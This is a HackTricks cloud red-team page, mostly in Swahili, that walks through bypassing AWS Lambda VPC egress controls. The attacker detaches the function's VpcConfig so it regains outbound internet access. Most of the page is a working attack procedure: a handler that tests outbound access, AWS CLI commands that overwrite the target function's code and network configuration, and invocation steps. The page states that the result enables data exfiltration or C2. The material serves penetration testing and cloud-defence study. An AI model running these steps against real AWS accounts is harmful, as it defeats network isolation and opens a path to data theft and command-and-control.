AWS Lambda – VPC Egress Bypass by Detaching VpcConfig

Reading time: 3 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Lazimishe function ya Lambda kutoka VPC iliyozuiliwa kwa kusasisha configuration yake na VpcConfig tupu (SubnetIds=[], SecurityGroupIds=[]). Function hiyo itaendeshwa kisha katika Lambda-managed networking plane, ikirejesha upatikanaji wa outbound internet na kupitisha udhibiti wa egress unaotekelezwa na subnet za VPC za kibinafsi bila NAT.

Abusing it

  • Pre-reqs: lambda:UpdateFunctionConfiguration on the target function (and lambda:InvokeFunction to validate), plus permissions to update code/handler if changing them.
  • Assumptions: The function is currently configured with VpcConfig pointing to private subnets without NAT (so outbound internet is blocked).
  • Region: us-east-1

Steps

  1. Andaa handler duni inayoonyesha kuwa outbound HTTP inafanya kazi

cat > net.py <<'PY' import urllib.request, json

def lambda_handler(event, context): try: ip = urllib.request.urlopen('https://checkip.amazonaws.com', timeout=3).read().decode().strip() return {"egress": True, "ip": ip} except Exception as e: return {"egress": False, "err": str(e)} PY zip net.zip net.py aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://net.zip --region $REGION || true aws lambda update-function-configuration --function-name $TARGET_FN --handler net.lambda_handler --region $REGION || true

  1. Rekodi configuration ya VPC ya sasa (kwa kurejesha baadaye ikiwa inahitajika)

aws lambda get-function-configuration --function-name $TARGET_FN --query 'VpcConfig' --region $REGION > /tmp/orig-vpc.json cat /tmp/orig-vpc.json

  1. Tenganisha VPC kwa kuweka orodha tupu

aws lambda update-function-configuration
--function-name $TARGET_FN
--vpc-config SubnetIds=[],SecurityGroupIds=[]
--region $REGION until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done

  1. Piga invoke na thibitisha upatikanaji wa outbound

aws lambda invoke --function-name $TARGET_FN /tmp/net-out.json --region $REGION >/dev/null cat /tmp/net-out.json

(Optional) Restore original VPC config

if jq -e '.SubnetIds | length > 0' /tmp/orig-vpc.json >/dev/null; then SUBS=$(jq -r '.SubnetIds | join(",")' /tmp/orig-vpc.json); SGS=$(jq -r '.SecurityGroupIds | join(",")' /tmp/orig-vpc.json) aws lambda update-function-configuration --function-name $TARGET_FN --vpc-config SubnetIds=[$SUBS],SecurityGroupIds=[$SGS] --region $REGION fi

Impact

  • Inarudisha upatikanaji usiozuiliwa wa outbound internet kutoka function, kuwezesha data exfiltration au C2 kutoka kwa workloads zilizokusudiwa kuwa zilifungiwa katika subnet za kibinafsi bila NAT.

Example output (after detaching VpcConfig)

{"egress": true, "ip": "34.x.x.x"}

Cleanup

  • Ikiwa uliunda mabadiliko yoyote ya muda ya code/handler, yaurejeshe.
  • Hiari rejesha VpcConfig asili iliyohifadhiwa katika /tmp/orig-vpc.json kama ilivyoonyeshwa hapo juu.

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks